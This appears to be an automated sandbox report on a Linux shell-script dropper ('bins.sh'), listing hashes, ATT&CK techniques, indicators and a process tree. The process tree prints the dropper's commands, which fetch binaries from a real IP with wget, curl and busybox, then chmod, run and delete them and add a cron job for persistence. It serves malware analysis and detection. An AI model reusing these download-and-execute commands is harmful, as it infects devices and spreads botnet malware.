6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32

Analysis

max time kernel
150s
max time network
177s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25-11-2024 12:18

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General

Target

bins.sh
Size

10KB
MD5

a11f92e48c1efd2e63aed95cbe04af94
SHA1

c2de2f9e256ef84ee067c9211d373059fed96d1b
SHA256

6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32
SHA512

78df94801ccc2831ce184b9de6a62ea70331f41cfcd9f7b112900401710d5623f4c862a1e52859316e626b608feed0c5d79fd2377d3ac8a12c2563c8365a572a
SSDEEP

192:JIc+rDhaJ8N5Lyyp1p/bLZ1Ic+rDK1peN5Lyy+G:6aJM1p/blR1pa

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

684 chmod
725 chmod

pid	process
684	chmod
725	chmod

Executes dropped EXE 2 IoCs

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXATYhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

ioc	pid	process
/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	686	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm	726	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

Renames itself 1 IoCs

Processes:

YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

pid process

727 YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.GkA34H crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
727	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.GkA34H	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnmcurlcurl

description	ioc	process
File opened for reading	/proc/804/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/82/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/580/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/644/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/649/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/786/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/834/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/862/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/883/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/4/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/594/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/745/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/869/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/104/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/771/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/802/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/835/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/865/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/871/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/650/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/748/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/760/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/812/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/831/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/849/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/860/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/872/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/873/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/885/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/841/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/3/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/8/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/16/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/25/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/145/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/271/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/278/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/878/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/887/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/42/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/788/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/825/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/854/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/868/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/5/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/14/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/22/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/652/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/810/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/819/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/826/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/884/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/10/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/26/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/41/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/598/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/808/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/820/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/843/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/746/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
File opened for reading	/proc/764/cmdline	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	wget
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	curl
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	busybox
File opened for modification	/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm	wget
File opened for modification	/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm	curl
File opened for modification	/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:656
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:679
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  ./RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Executes dropped EXE
  PID:686
- /bin/rm
  rm RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  PID:689
- /usr/bin/wget
  wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  ./YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:726
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:728
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:730
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:732
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:734
- /bin/rm
  rm YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  PID:748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.GkA34H

Filesize
210B

MD5
f1edc25e6a5b78c8ae988dc76fd44f6e

SHA1
9022173d02a4d30b64ea7938ed781841266c8d96

SHA256
518b0803a369a0557b69350710e52c6acdc753d951c3b4751627e6ccffe1e0e4

SHA512
f16725f8aab44b65d71293ef00a7e577309c035ed20d966808b6cc2f06d8cd300bbff3082abbe799359aa561078a5eb523960ad4c921acfacd74b329b9e07da4

Download Submit